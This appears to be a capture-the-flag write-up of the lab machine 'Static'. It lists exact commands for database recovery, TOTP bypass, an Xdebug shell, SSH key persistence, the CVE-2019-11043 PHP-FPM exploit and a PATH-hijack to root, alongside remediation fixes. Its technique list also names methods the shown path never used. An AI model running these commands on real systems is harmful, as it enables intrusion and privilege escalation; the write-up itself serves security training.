Static
Summary
Recon on <retired-instance-ip>:8080 (Apache 2.4.38 Debian) turned up robots.txt, which disclosed two hidden paths: /vpn/ (redirects to login.php) and /.ftp_uploads/ (open directory listing). The .ftp_uploads directory contained a db.sql.gz database backup that had been corrupted by an ASCII-mode FTP transfer (CRLF byte-pair corruption), confirmed by an accompanying warning.txt. Repair via gzrecover (arenn/gzrt) repeatedly produced a 0-byte output; the working fix was a raw CRLF strip (perl -pe 's/\x0d\x0a/\x0a/g'), which restored a valid gzip stream. The recovered static database dumped a users table containing the [REDACTED: recovered credential] account's base32 TOTP seed ([REDACTED: recovered credential]).
Logging in with [REDACTED: recovered credential]/[REDACTED: recovered credential] on /vpn/login.php succeeded to the 2FA prompt. pyotp generated valid-looking codes, but ntplib wasn't installed, so a straight time-synced TOTP wasn't possible — a brute-force sweep of ±90/60/30s clock-offset candidates found the correct window at offset 0, and the resulting code authenticated the session. The authenticated panel (panel.php, POST cn=<name>) generated a client .ovpn certificate/config, which was used to connect via openvpn, yielding a tun9 interface at <retired-instance-ip>/16.
Adding a route to <retired-instance-ip>/24 via the VPN gateway <retired-instance-ip> exposed an internal host <retired-instance-ip> running Apache with info.php (phpinfo), which revealed Xdebug 2.6.0 with remote_enable=On, remote_connect_back=On. gteissier/xdebug-shell.py (Python 2, patched to bind the debugger callback on the tun9 IP and to use xml.etree.ElementTree instead of the unavailable defusedxml) triggered the debugger callback against info.php and returned a www-data shell on host web. user.txt ([REDACTED: flag]) was read directly from /home/user.txt. An operator SSH key was appended to www-data's authorized_keys via the Xdebug shell, giving a stable SSH channel to web on port 2222.
From web, an SSH local port-forward (-L 18080:<retired-instance-ip>:80) reached the internal pki host, otherwise unreachable from the VPN segment. pki served nginx 1.14.0 + PHP-FPM 7.1, vulnerable to CVE-2019-11043 (PHP-FPM ?a= query-string parsing bug). phuip-fpizdam exploited it to gain arbitrary command execution as www-data on pki (confirmed via id). Enumeration on pki found /usr/bin/ersatool with cap_setuid+eip capabilities, whose source (/usr/src/ersatool.c) invokes openssl without an absolute path and contains a printf(buffer) format-string bug in printCN — the two known privilege-escalation vectors on this host (PATH hijack of openssl, or format-string overwrite of ERSA_DIR) that lead to a root shell.
Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 22,2222,8080 $TARGETcurl -s http://$TARGET:8080/robots.txtcurl -s http://$TARGET:8080/.ftp_uploads/FixRemove backup files from the web root and disable directory listingCritical
Exact commands 3
curl -sS http://$TARGET:8080/.ftp_uploads/db.sql.gz -o db.sql.gzperl -0777 -pe 's/\x0d\x0a/\x0a/g' db.sql.gz > db.crlf-fixed.gz && gzip -cd db.crlf-fixed.gz > db.sqlgrep -i 'secret\|totp\|seed\|2fa' db.sqlFixRemove backup files from the web root and disable directory listingCritical
Exact commands 4
curl -c cj -b cj -d 'username=[REDACTED: recovered credential]&password=[REDACTED: credential]&submit=Login' http://$TARGET:8080/vpn/login.phpCODE=$(python3 -c "import pyotp; print(pyotp.TOTP('[REDACTED: recovered credential]').now())"); curl -c cj -b cj -d "code=$CODE" http://$TARGET:8080/vpn/2fa.phpcurl -b cj -d 'cn=operator' http://$TARGET:8080/vpn/panel.php -o client.ovpnsudo openvpn --config client.ovpnFixReplace default administrative credentials and enforce a strong password policyCritical
Exact commands 2
sudo ip route replace $INTERNAL_TARGET/24 via $INTERNAL_TARGET dev tun9curl -s http://$INTERNAL_TARGET/info.php | grep -i 'xdebug\|remote'Exact commands 4
python2 xdebug-shell.py --local-host=$INTERNAL_TARGET --url=http://$INTERNAL_TARGET/info.phpprintf 'cat /home/user.txt' | python2 xdebug-shell.py --local-host=$INTERNAL_TARGET --url=http://$INTERNAL_TARGET/info.phpprintf 'file_put_contents("/home/www-data/.ssh/authorized_keys",file_get_contents("/home/www-data/.ssh/authorized_keys")."\n"."<YOUR_ED25519_PUBKEY>");' | python2 xdebug-shell.py --local-host=$INTERNAL_TARGET --url=http://$INTERNAL_TARGET/info.phpssh -i ~/.ssh/static_www -p 2222 www-data@$TARGETFixDisable Xdebug on all production and network-accessible PHP hostsCritical
Exact commands 2
ssh -i ~/.ssh/static_www -p 2222 -L 18080:$INTERNAL_TARGET:80 -N www-data@$TARGET &curl -I http://$LOOPBACK:18080/Exact commands 4
git clone https://github.com/neex/phuip-fpizdam && cd phuip-fpizdam && go build -o phuip-fpizdam ../phuip-fpizdam http://$LOOPBACK:18080/index.phpcurl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'id'&"curl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'getcap+-r+/usr/bin'&"FixPatch PHP-FPM to a version that is not affected by CVE-2019-11043Critical
Exact commands 6
curl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'getcap+/usr/bin/ersatool'&"curl "http://$LOOPBACK:18080/index.php?a=/bin/sh+-c+'cat+/usr/src/ersatool.c'&"printf '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/openssl && chmod +x /tmp/opensslexport PATH=/tmp:$PATH && /usr/bin/ersatool/bin/bash -pcat /root/root.txtFixRemove the cap_setuid capability from ersatool and use absolute paths for all subprocess callsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 2222/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache httpd 2.4.38 ((Debian)) |